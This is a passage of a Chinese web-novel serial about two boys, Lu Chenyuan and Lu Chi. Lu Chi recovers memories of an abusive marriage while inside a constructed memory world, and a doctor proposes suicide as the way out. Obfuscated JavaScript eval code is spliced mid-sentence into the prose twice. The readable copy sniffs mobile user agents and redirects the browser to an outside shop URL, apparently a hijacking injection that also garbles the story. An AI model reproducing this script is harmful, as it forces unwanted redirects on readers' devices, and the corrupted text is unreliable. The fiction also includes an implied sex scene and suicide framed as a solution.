人群拥挤,但周浩不怕。 因为林屿一直牵着他,没松开过。 走出公园,外面已经排起了长长的车队。 “堵车了。”林屿看了眼手机,“可能要等一会儿。” 周浩站在他旁边。 “那就等。” 林屿看着他。 “冷吗?” “不冷。” 林屿不信。 他伸手摸了摸周浩的脸——冰的。 “这叫不冷?” 他把自己围巾解下来,围在周浩脖子上。 周浩愣了一下。 “林屿你——” “别说话。”林屿把围巾整理好,“围好。” 周浩看着他。 林屿的脸被风吹得有点红,但眼睛很亮。 周浩的喉结动了动。 “……谢谢。” 林屿笑了。 “不客气。” 等了二十分钟,终于打到车。 回到家,已经快十点了。 林妈妈和林爸爸都睡了,客厅里只留了一盏小夜灯。 周浩换了鞋,正要往房间走,被林屿从后面抱住。 “林屿……” “嗯。” “干嘛……” “想抱你。”林屿把下巴抵在他肩上,“抱一会儿。” 周浩没动。 他就这样站着,被林屿从后面抱着。 客厅很安静,只有他们的呼吸声。 “林屿。” “嗯。” “今天真开心。” “我也是。” “以后每年都这样过。” “好。” “每年都一起逛灯会,一起吃糖葫芦,一起放花灯。” 林屿把他转过来,面对着自己。 “每年都和你一起。”他说。 周浩看着他。 眼睛亮亮的。 他踮起脚,在林屿嘴角亲了一下。 “那说好了。” 林屿低头,吻住他。 不是轻触,是认真的、温柔的吻。 周浩闭上眼睛,手抓着他的衣襟。 不知过了多久,林屿松开他。 “周浩。” “嗯……” “今晚……” 周浩看着他。 林屿的耳尖红了。 周浩忽然懂了。 他笑了。 “今晚和你一起。”他说。 林屿看着他。 月光从窗户照进来,落在周浩脸上。他的眼睛亮亮的,里面有光。 林屿看了很久。 然后他把他抱起来。 周浩惊了一下,手忙脚乱地搂住他的脖子。 “林屿你——” “回房间。”林屿说。 周浩把脸埋进他肩窝。 没说话。 但嘴角弯着。 这一夜很长。 窗帘没拉严,月光从缝隙漏进来。 周浩的声音断断续续,有时是呜咽,有时是求饶,有时是林屿的名字。 林屿很慢。 每一下都会问他“疼吗”“可以吗”“舒服吗”。 周浩被问得又羞又急。 “林屿!” “嗯。” “你能不能别问了……” 林屿顿了一下。 “嫌烦?” “不是……”周浩把脸埋进枕头里,“就是……太害羞了……” 林屿看着他。 周浩的耳朵红透了,耳尖都在抖。 林屿低头,在他耳朵上亲了一下。 “好。”他说,“不问了。” 后来的事,周浩记不太清了。 他只记得林屿的呼吸,记得他握着他的手,记得他在他耳边说“我爱你”。 很轻,很认真。 周浩哭了。 不是疼,是别的什么。 林屿吻掉他的眼泪。 “怎么了?” “没什么……”周浩声音闷闷的,“就是……开心。” 林屿看着他。 “我也是。” 夜深了。 他们并排躺着,手还握在一起。 周浩看着天花板,忽然笑了。 “林屿。” “嗯。” “以后每年元宵都这样。” “好。” “每年都一起逛灯会。” “好。” “每年都一起放花灯。” “好。” “每年都……”他顿了顿,脸红了,“每年都做。” 林屿偏头看他。 月光下,周浩的眼睛亮亮的。 林屿看了很久。 然后他凑过去,在他嘴角亲了一下。 “好。” 周浩笑了。 他把脸埋进林屿肩窝,闭上眼睛。 “林屿。” “嗯。” “我爱你。” 林屿愣了一下。 然后他把他搂紧。 “……我也爱你。” 45. 梦 正月十七,开学日。 早上七点,鹿炽被闹钟吵醒。他睁开眼,盯着天花板愣了几秒,才反应过来今天要上学了。 寒假结束了。 他坐起来,揉了揉眼睛。头有点晕,昨晚没睡好,做了很多乱七八糟的梦。梦到什么来着?想不起来了。只记得不太好的感觉。 他下床,洗漱,换衣服。鹿妈妈已经做好了早饭,小米粥、煮鸡蛋、还有几碟小菜。 “炽炽,多吃点。”鹿妈妈给他夹菜,“开学第一天,别饿着。” “嗯。”鹿炽低头吃饭。 吃到一半,手机震了。 【远】:起了吗? 【远】:七点四十去接你。 鹿炽看着屏幕,嘴角微微弯了一下。 【炽】:起了。 【炽】:好。 吃完饭,他背上书包下楼。陆沉远的车已经停在楼下了。 拉开车门,坐进去。 “早。”陆沉远说。 “早。”鹿炽系上安全带。 陆沉远发动车子,驶入早高峰的车流。 鹿炽靠在副驾驶座上,看着窗外。阳光有点刺眼,他眯了眯眼。 “昨晚睡得好吗?”陆沉远问。 “还行。”鹿炽说,“就是做了几个梦。” “什么梦?” 鹿炽想了想。 “想不起来了。”他说,“就记得不太舒服。” 陆沉远看了他一眼。 “累了就再睡会儿,到了我叫你。” 鹿炽点点头,闭上眼睛。 他睡着了。 真的睡着了。 二十分钟后,车停在学校门口。陆沉远转头看他——鹿炽还睡着,呼吸平稳,睡得很沉。 “鹿炽。”他轻声叫他,“到了。” 鹿炽没醒。 “鹿炽?” 又叫了一声。 鹿炽的睫毛动了动,慢慢睁开眼。眼神还有点涣散,迷茫地看着陆沉远。 “到了?”他声音有点哑。 “嗯。”陆沉远看着他,“睡得很沉。” 鹿炽揉了揉眼睛。 “可能是……昨晚没睡好。” 两人下车,往教室走。 早读课还没开始,教室里已经坐了大半人。周浩正趴在桌上补觉,林屿在旁边看书。看见他们进来,林屿点了点头。 鹿炽走到自己座位坐下。陆沉远在他后面一排。 翻开书,开始早读。 读着读着,鹿炽的视线开始模糊。 不是困,是那种……注意力涣散的感觉。 他甩了甩头,继续读。 但那些字好像都在飘,抓不住。 他揉了揉太阳穴。 有点疼。 后脑勺那里,隐隐约约的疼。 “鹿炽?”同桌碰了碰他,“你怎么了?” “没事。”鹿炽说,“就是有点头疼。” “要不要去医务室?” “不用,一会儿就好。” 他低下头,继续看书。 但那些字,还是飘的。 第一节课是数学。 老师在黑板上写着公式,鹿炽努力盯着看。看着看着,眼前忽然闪过一个画面。 陆沉远的脸。 冷着脸,看着他。 眼神很冷,像看陌生人。 鹿炽愣了一下。 那是什么? 他眨了眨眼,画面消失了。老师还在写板书,周围一切正常。 他转头看向后面。 陆沉远正低着头做题,感觉到他的视线,抬起头。 “怎么了?” “没、没什么。”鹿炽转回去。 但心跳有点快。 那个画面……是怎么回事? 他从来没见陆沉远用那种眼神看过他。 那是谁? 第二节课,语文。 鹿炽撑着下巴,听老师讲课文。 头疼好一点了,但还是有点晕。 他努力集中注意力,盯着课本。 “啪——” 脑子里忽然又闪过一个画面。 陆沉远的手。 挥过来。 打在他脸上。 鹿炽浑身一抖。 “鹿炽?”老师叫他,“你怎么了?” 鹿炽抬起头。 全班都在看他。 “我……”他张了张嘴,“没事。” 老师看了他几秒。 “没事就好,认真听课。” 鹿炽点头。 他低下头,手在发抖。 那个画面……太真实了。 真实到他几乎能感觉到疼。 可那是陆沉远啊。 陆沉远怎么可能打他? 他转头看向后排。 陆沉远正皱着眉看他,眼神里都是担心。 鹿炽扯出一个笑,摇摇头,示意自己没事。 陆沉远的眉头没松开。 第三节课下课,鹿炽趴在桌上。 头疼好一点了,但是困。 特别困。 眼皮像灌了铅一样重。 “鹿炽?”周浩过来拍他,“出去透透气?” 鹿炽摇头。 “不了……我睡会儿。” 他闭上眼睛。 睡着了。 周浩看着他,又看看陆沉远。 “远哥,鹿炽没事吧?怎么一直睡?” 陆沉远走过来,看着鹿炽的睡颜。 眉头皱着。 “……不知道。” 中午吃饭,鹿炽没胃口。 他扒了两口饭,就放下了筷子。 “吃这么少?”陆沉远皱眉。 “吃不下了。”鹿炽说,“有点难受。” “哪儿难受?” “头……还有点头疼。” 陆沉远看着他。 “去医务室看看?” 鹿炽摇头。 “不用,可能就是没睡好。” 他顿了顿。 “我回教室趴一会儿。” 陆沉远想说什么,但看着他的样子,没说出来。 “我陪你。” “不用,你吃饭。”鹿炽站起来,“我自己回去就行。” 他走了。 陆沉远看着他的背影,眉头一直没松开。 下午第一节课,鹿炽又睡着了。 不是故意睡的。是听着听着,眼皮就合上了。 同桌推了他好几次,他才醒过来。 “鹿炽,老师叫你呢。” 鹿炽抬起头,茫然地看着黑板。 老师正看着他。 “鹿炽,这道题你来回答。” 鹿炽站起来。 他看着黑板上的题,脑子一片空白。 会做的。他平时都会做的。 但现在,那些数字和符号像在飘。 “我……”他张了张嘴,“不会。” 教室里安静了一秒。 有人小声议论。 鹿炽低着头,耳朵烧得厉害。 老师看了他几秒。 “坐下吧。认真听课。” 鹿炽坐下。 他盯着课本,手攥得紧紧的。 后面,陆沉远一直看着他。 下午第二节课,鹿炽又睡了。 这次睡得更沉。 同桌叫了他三次,他才醒。 醒来的时候,头疼得更厉害了。 太阳穴那里,一跳一跳的疼。 他揉了揉太阳穴,深呼吸。 眼前又闪过一个画面。 陆沉远站在他面前。 眼神很冷。 声音也很冷。 “鹿炽,你烦不烦?” 鹿炽愣住了。 那个声音太真实了,真实到他几乎能听见。 他猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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头疼,那些画面一直闪。 不知道过了多久,他终于睡着了。 梦里,又是那些画面。 陆沉远冷着脸看他。 陆沉远打他。 他想躲,但躲不开。 “鹿炽,你烦不烦?” 那个声音一遍遍响着。 “鹿炽?” 有人叫他。 鹿炽睁开眼。 陆沉远坐在床边,看着他。 “你做噩梦了。”他说,“一直在喊。” 鹿炽看着他。 陆沉远的脸,是温柔的。 不是冷的。 他忽然伸手,抱住他。 陆沉远愣了一下,然后把他搂进怀里。 “怎么了?” “没什么。”鹿炽把脸埋在他胸口,“就是……想抱你。” 陆沉远没说话。 他只是把他抱得更紧。 “鹿炽。”他在他耳边说。 “嗯。” “不管发生什么,我都在。” 鹿炽的眼泪掉下来。 “……嗯。” 窗外,夜色很深。 鹿炽靠在他怀里,慢慢又睡着了。 这次,没有梦。 但那些画面,还在他脑子深处。 不知道什么时候,又会出来。 46. 恢复记忆 正月十八。 鹿炽醒来的时候,头疼得厉害。 太阳穴那里,像有人在拿锤子敲。一下,一下,钝钝的疼。 他躺在床上,盯着天花板,缓了好一会儿才坐起来。 昨晚又做梦了。 梦里乱七八糟的,很多画面闪来闪去。陆沉远的脸,冷冰冰的眼神,还有……还有…… 他想不起来了。 但那种感觉还在。 胸口闷闷的,喘不过气。 鹿炽揉了揉太阳穴,下床洗漱。 镜子里的自己,脸色有点白,眼下有淡淡的青黑。 他深吸一口气,挤出一个笑。 没事的。 就是没睡好。 吃完饭,陆沉远来接他。 上车的时候,陆沉远看了他一眼。 “没睡好?” “嗯。”鹿炽系上安全带,“做梦了。” “什么梦?” 鹿炽想了想。 “记不清了。”他说,“就是……不太好的梦。” 陆沉远没说话。 他发动车子,驶入车流。 鹿炽靠在副驾驶座上,看着窗外。阳光很好,照在路边的树上,叶子绿得发亮。 但他的头,还是一跳一跳地疼。 第一节课,语文。 鹿炽努力集中注意力,盯着课本。老师在上面讲,他在下面听。 听着听着,眼前忽然一花。 画面闪过。 这一次,比之前更清晰。 陆沉远站在他面前,手里拿着什么。 白色的瓶子。 药瓶。 “这是什么?” 声音冷冷的。 鹿炽浑身一颤。 他眨了眨眼,画面消失了。老师还在讲课,周围一切正常。 但心跳,快得像要蹦出来。 那个画面…… 那个药瓶…… 他想起什么了? 中午吃饭,鹿炽又没胃口。 他端着餐盘,看着里面的饭菜,一点都吃不下。 “鹿炽?”周浩凑过来,“你怎么又不吃?这两天都没见你好好吃饭。” “吃不下。”鹿炽说。 “是不是生病了?”周浩伸手摸他额头,“不烫啊。” “没事。”鹿炽躲开他的手,“就是没胃口。” 周浩看看他,又看看陆沉远。 陆沉远皱着眉,一直看着鹿炽。 “远哥,”周浩小声说,“鹿炽这几天不太对劲啊。” 陆沉远没说话。 他当然知道。 但他不知道该怎么办。 下午第二节课,鹿炽又睡着了。 这次睡得很沉,怎么叫都叫不醒。 同桌推了他好几下,他才迷迷糊糊睁开眼。 “鹿炽,下课了。” 鹿炽坐起来,揉了揉眼睛。 头疼得更厉害了。 他站起来,想去洗把脸。 刚走到教室门口,眼前忽然一黑。 画面又来了。 这次,比之前都长。 他看见自己站在一个房间里。 不是他家,也不是陆沉远家。 是陌生的房间。 陆沉远站在他面前,脸上没有表情。 “鹿炽,你闹够了没有?” 他听见自己说话。 “我没有闹。” “那你什么意思?” “我……”他顿了顿,“陆沉远,我们离婚吧。” 离婚? 鹿炽愣住了。 他和陆沉远,什么时候结婚了? 画面继续。 陆沉远的脸变了。 不再是冷漠。 是愤怒。 还有……受伤? “离婚?”他冷笑,“鹿炽,你想都别想。” “为什么?” “因为我不放。” 画面又闪。 这次是他自己在收拾行李。 箱子放在地上,他在往里面装东西。 装得很慢,手在抖。 眼泪一滴一滴落在衣服上。 然后门开了。 陆沉远站在门口。 “你要走?” 他没回头。 “是。” “走了就别回来。” 他的手顿了一下。 然后继续收拾。 “好。” 画面消失了。 鹿炽站在原地,浑身发抖。 那是谁? 那是他吗? 他和陆沉远…… 结婚? 离婚? 他从来没结过婚。 他才十八岁。 怎么可能…… “鹿炽?” 有人叫他。 鹿炽回过神。 陆沉远站在他面前,皱着眉看他。 “你怎么了?站在这儿发呆?” 鹿炽看着他。 陆沉远的眼睛,是担心的,是温柔的。 不是画面里那种冷。 也不是那种愤怒。 鹿炽张了张嘴。 “陆沉远。” “嗯。” “我们……”他顿了顿,“结过婚吗?” 陆沉远愣住了。 脸色瞬间变了。 “你说什么?” 鹿炽看着他。 陆沉远的脸色很白,眼睛里有什么东西在闪。 鹿炽忽然害怕了。 “没、没什么。”他低下头,“我胡说的。” 陆沉远没说话。 他只是看着他。 看了很久。 放学的时候,鹿炽没让陆沉远送。 “我想自己走走。”他说。 陆沉远看着他。 “我陪你。” “不用。”鹿炽摇头,“我就想一个人待会儿。” 陆沉远沉默了几秒。 “……好。” 他顿了顿。 “到家给我发消息。” 鹿炽点头。 他转身走了。 陆沉远站在原地,看着他的背影。 手攥得紧紧的。 鹿炽一个人在街上走。 漫无目的地走。 脑子里的画面,一段一段地闪。 他和陆沉远站在民政局门口。 手里拿着红本本。 结婚证。 他和陆沉远坐在餐桌前,相对无言。 气氛冷得像冰。 他和陆沉远躺在床上。 陆沉远背对着他。 他伸手想碰他,又缩回来。 还有…… 还有那个画面。 陆沉远的手挥过来。 打在他脸上。 鹿炽停下脚步。 浑身发抖。 那些画面……太真实了。 真实到他几乎能感觉到疼。 可那是陆沉远啊。 那个一直保护他、对他好的陆沉远。 怎么可能…… 他蹲下来,把脸埋进膝盖里。 头疼得厉害。 眼前又开始闪。 这次,是他自己。 站在镜子前,身上有伤。 青紫色的,一块一块。 他看着镜子里的自己,眼神空洞。 然后画面跳转。 医院。 他躺在病床上,身上插满管子。 陆沉远坐在床边,握着他的手。 哭了。 那个画面里,陆沉远在哭。 眼泪一滴一滴落在他手背上。 鹿炽浑身一震。 他站起来,大口喘气。 那些画面……到底是什么? 是他的记忆吗? 可他不记得这些。 他从来没经历过这些。 他只有十八岁。 他和陆沉远从高中就在一起。 怎么可能结婚?怎么可能离婚?怎么可能…… 他不敢往下想。 正月十九。 鹿炽没去上学。 他起不来。 头疼,浑身都疼,像是被车碾过一样。 鹿妈妈吓坏了,要带他去医院。 “不用。”鹿炽躺在床上,声音很轻,“就是累了,休息一天就好。” 鹿妈妈不信,还是叫了医生来家里。 医生检查了一遍,说没什么大问题,可能是压力大,休息几天就好。 鹿妈妈这才放心。 但鹿炽知道,不是压力大。 是那些画面。 那些画面越来越清晰了。 清晰到他闭上眼睛就能看见。 他看见自己一个人坐在出租屋里。 很小,很破,窗户对着墙。 他看见自己躺在床上,盯着天花板,一整天不动。 他看见自己接到一个电话。 妈妈的。 “炽炽,我和你爸回国了,来接我们吧。” 他看见自己出门。 看见那辆车冲过来。 看见陆沉远冲过来。 看见世界颠倒。 然后一片黑暗。 鹿炽猛地睁开眼。 浑身冷汗。 那些画面…… 是他吗? 真的是他吗? 可他明明…… 他想起时间胶囊。 洛杉矶那家店。 他们四个人一起写的。 写给二十年后的自己。 可如果他现在十八岁,二十年后才三十八岁。 那为什么…… 他脑子乱成一团。 那些画面,那些记忆,像潮水一样涌来。 越来越多,越来越清晰。 他看见自己和陆沉远的婚礼。 没有宾客,没有鲜花,只有两个人。 他看见自己和陆沉远的新婚夜。 陆沉远喝醉了,动作粗暴。 他看见后来的每一次。 陆沉远的冷漠,他的忍耐。 陆沉远的家暴,他的麻木。 他看见自己一次次原谅。 又一次次被伤害。 他看见自己终于死心。 写下离婚协议。 拖着行李箱出门。 然后那辆车冲过来。 他看见自己躺在医院里。 意识模糊,但能听见外面的声音。 陆沉远在哭。 一遍遍说着“对不起”。 他看见陆沉远躺进那个医疗舱。 说什么“记忆世界”,说什么“唤醒他”。 记忆世界…… 鹿炽猛地睁开眼。 记忆世界? 所以他现在…… 是在自己的记忆里? 所以他经历的那些美好…… 都是假的? 都是陆沉远为了唤醒他,构建的? 鹿炽坐起来。 头疼得快要裂开。 但那些记忆,已经完全回来了。 和陆沉远在一起的十年。 前七年,追着他跑。 后三年,被他伤害。 最后心死,离开,车祸。 还有现在。 这个所谓的“记忆世界”。 他想起陆沉远刚出现时的种种异常。 突然变好的成绩。 突然的追求。 还有那些话—— “如果有一天你发现我骗了你……” “你要多爱自己一点……” “我做过很多错事……” 鹿炽的眼泪掉下来。 原来是这样。 原来从一开始,就是一场骗局。 陆沉远不是真的回到高中。 他是来唤醒他的。 那些美好,那些温柔,那些“我爱你”…… 都是为了让他醒过来。 可那些伤害呢? 那些家暴,那些冷漠,那些“你烦不烦”…… 是真的吗? 还是也是他记忆里的东西? 鹿炽抱着头,蜷缩在床上。 他分不清了。 分不清哪些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271937|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的,哪些是假的。 分不清哪个陆沉远是真的。 是那个保护他的,还是那个伤害他的。 还是……都是? 门开了。 鹿炽没抬头。 有人走到床边。 坐下。 握住他的手。 “鹿炽。” 是陆沉远的声音。 鹿炽慢慢抬起头。 陆沉远看着他,眼睛红红的。 “你都想起来了,对不对?” 鹿炽没说话。 但他看着他。 陆沉远的眼泪掉下来。 “对不起。”他说。 “鹿炽,对不起。” 鹿炽看着他。 看着他哭。 心里有个声音说:他又在演。 另一个声音说:他是真心的。 他不知道该信哪个。 “那些……”他开口,声音沙哑,“哪些是真的?” 陆沉远愣住了。 “什么?” “那些美好。”鹿炽说,“那些你对我的好,那些我爱你——哪些是真的?” 陆沉远张了张嘴。 “都是真的。” “那伤害呢?”鹿炽问,“那些你打我的,你冷着我的——哪些是真的?” 陆沉远的脸白了。 他看着他。 看了很久。 然后他低下头。 “……都是真的。” 鹿炽的眼泪掉下来。 “所以,”他说,“你就是那个伤害我的陆沉远。” “你就是那个打我的人。” “你就是那个让我心死的人。” 陆沉远没说话。 他只是低着头,眼泪一滴一滴落在地板上。 鹿炽看着他。 心里乱成一团。 他恨他。 应该恨他。 可看着他在那里哭,他又觉得…… “为什么?”他问,“为什么要那样对我?” 陆沉远抬起头。 眼睛红红的,脸上都是泪。 “因为我蠢。”他说,“因为我不会爱。” “因为我怕你发现我喜欢你。” “因为我怕自己陷进去。” “因为我用伤害来掩饰自己。” 他顿了顿。 “都是借口。” “鹿炽,我对不起你。” “那些年,你那么好,我那么混账。” “你对我好,我推开你。” “你原谅我,我得寸进尺。” “你心死了,我才知道自己多蠢。” 他握住鹿炽的手。 “鹿炽,我知道你不原谅我。” “我不配被原谅。” “但我想让你醒过来。” “想让你活下去。” “哪怕你醒过来之后,再也不见我。” 鹿炽看着他。 看着他的眼泪。 听着他的话。 那些画面还在脑子里闪。 好的,坏的,温柔的,冷漠的。 都是同一个人。 都是陆沉远。 他恨他。 可他也爱他。 爱了十年的人,怎么可能说恨就恨得彻底? “陆沉远。”他开口。 陆沉远抬起头。 鹿炽看着他。 “那些美好的,”他说,“是真的吗?” “是。”陆沉远说,“每一句都是真的。” “那些伤害的呢?” 陆沉远沉默了。 “也是真的。”他说,“但我改了。” 他看着他。 “鹿炽,我真的改了。” “在你昏迷的这几个月,我每天都在想,如果能重来,我会怎么做。” “所以我来了。” “我来到你的记忆世界。” “用你记忆里最好的时候,重新爱你。” 鹿炽的眼泪掉下来。 “可你还是骗了我。” “嗯。”陆沉远点头,“我骗了你。” “从头到尾,都是一场骗局。” “但那些感情是真的。” 他握紧他的手。 “鹿炽,我爱你。” “不是这个记忆世界里的爱。” “是现实世界里,那个混蛋的我,爱了你很多年。” “只是不会表达,不会珍惜。” “把你弄丢了,才知道后悔。” 鹿炽看着他。 看了很久。 然后他伸手,擦掉他的眼泪。 陆沉远愣住了。 “鹿炽?” “我还没原谅你。”鹿炽说。 陆沉远的心一沉。 “但……”鹿炽顿了顿,“我也不想恨你。” “恨太累了。” “爱了十年,恨了几个月,我累了。” 他看着陆沉远。 “让我想想。” 陆沉远点头。 “好。” “你想多久都行。” 鹿炽靠回床头。 闭上眼睛。 脑子里还是乱。 但有一点清晰了。 他想活下去。 不管那些伤害是不是真的,不管那些美好是不是真的。 他想活下去。 回到现实世界。 然后…… 再说吧。 他睁开眼。 “陆沉远。” “嗯。” “怎么回去?” 陆沉远愣了一下。 “你……” “我想回去。”鹿炽说,“我想见我妈,想见我哥,想……” 他看着陆沉远。 “想醒过来。” 陆沉远看着他。 眼眶又红了。 “好。”他说,“我带你回去。” 他握住他的手。 “鹿炽,谢谢你。” “谢谢你愿意醒过来。” 鹿炽没说话。 但他没有抽回手。 47. 倒数日 陆沉远接到陈主任电话的时候,正在去鹿炽家的路上。 手机震动,陌生号码。他本来想挂掉,但不知道为什么,手指滑向了接听。 “陆先生。”那头的声音很疲惫,“我是陈主任。” 陆沉远心里一紧。 “陈主任?怎么了?” “您上次联系我之后,我一直在这边监测数据。”陈主任顿了顿,“情况不太好。” 陆沉远把车停在路边。 “什么意思?” “您的意识在记忆世界停留太久了。”陈主任说,“现实世界里,您的身体已经开始出现排异反应。” “什么排异?” “脑电波紊乱,心率不稳。”陈主任说,“再这样下去,您可能……永远醒不过来。” 陆沉远沉默了几秒。 “还有多久?” “现实时间,最多三天。”陈主任说,“记忆世界里,也就是……七十二小时左右。” 陆沉远握着手机,指节发白。 “鹿炽呢?他怎么样了?” “他的意识正在恢复。”陈主任说,“从数据看,他已经想起了大部分现实。但……” “但什么?” “但他还没有完全接受。”陈主任说,“他的大脑还在两个世界之间摇摆。如果不尽快让他彻底认清现实,他可能会陷入自我怀疑,再也醒不过来。” 陆沉远闭上眼。 “怎么让他认清?” 陈主任沉默了很久。 “陆先生,”他说,“有一个办法。” “说。” “您消失。” 陆沉远愣住了。 “什么?” “让您的意识从记忆世界里消失。”陈主任说,“不是离开,是……彻底消失。” “什么意思?” “让他以为您从来不存在。”陈主任说,“让他身边的人,都忘记您。让他一个人,面对这个世界。” 陆沉远的手在抖。 “然后呢?” “然后,”陈主任说,“他会开始怀疑。怀疑自己的记忆,怀疑自己的感情,怀疑一切。这种怀疑,会逼他做出选择。” “什么选择?” “自杀。”陈主任说,“在记忆世界里自杀,意识就会回到现实。” 陆沉远沉默了。 很久。 “他会疼吗?” “什么?” “自杀的时候。”陆沉远说,“他会疼吗?” 陈主任愣了一下。 然后他说:“陆先生,您现在担心的,是这个?” “他会疼吗?”陆沉远又问了一遍。 陈主任沉默了几秒。 “……会的。”他说,“但只是一瞬间。” 陆沉远闭上眼。 他想了很多。 想鹿炽笑的样子,想他哭的样子,想他靠在自己怀里睡着的样子。 想他说的那句“我爱你”。 想他那些年受的苦。 想自己那些年给他的伤害。 “好。”他说。 “陆先生——” “我说好。”陆沉远睁开眼,“让他醒过来。” “哪怕他恨我。” “哪怕他忘了我。” “只要他活着。” 电话那头,陈主任沉默了很久。 “……我知道了。”他说,“我会准备好。” “三天后,凌晨零点,您的意识会开始消散。” “在这之前,您还有七十二小时。” 陆沉远挂断电话。 他坐在车里,看着窗外。 阳光很好,街上有行人走过,有小孩在跑。 他想,如果鹿炽醒过来,也能看到这样的阳光。 那就够了。 他发动车子,继续往鹿炽家开。 上午十点,陆沉远到鹿炽家的时候,鹿炽正在阳台上发呆。 他坐在小板凳上,抱着膝盖,看着远处。 阳光落在他身上,把他的头发照成浅棕色。 陆沉远走过去,在他旁边蹲下。 “鹿炽。” 鹿炽转过头。 他看着陆沉远,眼神有点空。 “陆沉远。”他叫他。 “嗯。” “我昨天晚上又做梦了。” “什么梦?” 鹿炽想了想。 “梦见你不见了。”他说,“所有人都忘了你,只有我记得。” 陆沉远心里一疼。 “然后呢?” “然后……”鹿炽顿了顿,“我找不到你。” 他看着他。 “那种感觉,很难受。” 陆沉远伸手,把他拉进怀里。 “我在。”他说,“我没不见。” 鹿炽靠在他怀里,轻轻“嗯”了一声。 但他心里,还是有点不安。 那种感觉,太真实了。 下午,他们一起去学校。 今天是开学第三天,教导主任抓早恋抓得特别紧。 据说昨天抓了三对,全校通报批评,请家长。 陆沉远和鹿炽进校门的时候,正好撞见教导主任在门口蹲点。 “你们两个!”教导主任叫住他们。 陆沉远停下脚步。 “哪个班的?” “高三二班。”陆沉远说。 教导主任看看他,又看看鹿炽。 “你们俩什么关系?” 陆沉远顿了一下。 “同学。” 教导主任盯着他们看了几秒。 “手。”他说,“手放开了吗?” 陆沉远低头,发现自己不知道什么时候,牵住了鹿炽的手。 他没放。 教导主任的眉毛竖起来了。 “陆沉远是吧?我记得你。”他说,“成绩不错,但别以为成绩好就能乱来!” 他转头看向鹿炽。 “你呢?你叫什么?” “鹿炽。”鹿炽小声说。 教导主任愣了一下。 “鹿炽?年级第一那个鹿炽?” “……嗯。” 教导主任的表情变了。 他看看鹿炽,又看看陆沉远,又看看他们牵着的手。 沉默了几秒。 然后他叹了口气。 “你们两个,”他说,“能不能学学人家年级第一第二?” 陆沉远愣了一下。 “人家年级第一第二,”教导主任指了指教学楼的方向,“成绩那么好,为什么不早恋?” 陆沉远:“……” 鹿炽:“……” “因为人家知道轻重!”教导主任继续说,“人家知道什么时候该干什么!你们呢?大门口就牵手,像话吗?” 陆沉远看着他。 忽然笑了。 “主任。”他说。 “干嘛?” “您说的年级第一第二,”他说,“就是我和他。” 教导主任愣住了。 “什么?” 陆沉远指了指自己,又指了指鹿炽。 “我是年级第二。”他说,“他是年级第一。” 教导主任张着嘴,半天没说出话。 陆沉远看着他那个表情,忽然做了一件事。 他低头,在鹿炽脸上亲了一下。 很轻,很快。 但当着教导主任的面。 鹿炽愣住了。 教导主任也愣住了。 周围路过的学生,也愣住了。 陆沉远直起身,看着教导主任。 “主任,”他说,“早恋这事儿,跟成绩没关系。” 他牵着鹿炽,往里走。 留下教导主任一个人站在原地,风中凌乱。 走进教学楼,鹿炽才回过神。 “陆沉远!”他压低声音,“你疯啦?!” “嗯。” “那可是教导主任!” “嗯。” “他会记过的!” “嗯。” “你还‘嗯’!” 陆沉远停下脚步,转身看他。 “鹿炽。” “干嘛……” “我今天,”他说,“想做什么就做什么。” 鹿炽看着他。 陆沉远的眼睛里有他看不懂的东西。 “为什么?”鹿炽问。 陆沉远没回答。 他只是伸手,揉了揉他的头发。 “走吧,要迟到了。” 下午的课,鹿炽听不进去。 他一直在想陆沉远那句话。 “想做什么就做什么。” 什么意思? 他转头看向后排。 陆沉远正低着头做题,感觉到他的视线,抬起头。 对他笑了一下。 很温柔的笑。 鹿炽转回去,心跳有点快。 但他心里,那种不安的感觉,越来越强烈。 放学的时候,陆沉远送鹿炽回家。 走到楼下,鹿炽忽然说:“陆沉远。” “嗯。” “你今天……怪怪的。” 陆沉远看着他。 “哪里怪?” “说不上来。”鹿炽说,“就是……好像有什么事。” 陆沉远沉默了几秒。 然后他笑了。 “没事。”他说,“就是突然想通了。” “想通什么?” “想通……”他顿了顿,“想通怎么爱你。” 鹿炽愣住了。 陆沉远看着他。 夕阳的余晖落在他脸上,把他的眼睛照得亮亮的。 “鹿炽。” “嗯。” “不管发生什么,”他说,“你要记得——” 他顿了顿。 “我爱你。” 鹿炽看着他。 眼眶有点酸。 “你今天怎么老说这些……” “就想说。”陆沉远说,“说不够。” 他凑过去,在他额头上亲了一下。 “上去吧。” 鹿炽点点头。 他转身上楼。 走到二楼的时候,他回头看了一眼。 陆沉远还站在楼下,看着他。 对他挥了挥手。 鹿炽也挥了挥手。 然后继续上楼。 他不知道,这是他最后一次,看见陆沉远站在那儿。 晚上,陆沉远去了陆知岩家。 鹿之言开的门,看见他,愣了一下。 “沉远?这么晚了,有事?” “我哥呢?” “在书房。” 陆沉远走进去,在沙发上坐下。 陆知岩从书房出来,看见他,也愣了一下。 “怎么了?脸色这么差?” 陆沉远看着他。 看了很久。 “哥。”他开口。 “嗯?” “我有一件事要告诉你。” 陆知岩在他对面坐下。 “什么事?” 陆沉远沉默了几秒。 “如果有一天,”他说,“我不在了——” “说什么呢?”陆知岩皱眉。 “你听我说完。”陆沉远打断他,“如果有一天,我不在了,你要帮我照顾鹿炽。” 陆知岩愣住了。 “你什么意思?” 陆沉远没回答。 他只是看着他。 “哥,帮我照顾他。” “他是你弟媳。”陆知岩说,“我当然会照顾。” “不是那种照顾。”陆沉远说,“是……像亲弟弟一样。” 陆知岩看着他。 “沉远,你到底怎么了?” 陆沉远站起来。 “没什么。”他说,“就是突然想说。” 他走到门口,回头看了一眼。 “哥,谢谢你。” “这些年,谢谢你。” 第二天早上,鹿炽醒得很早。 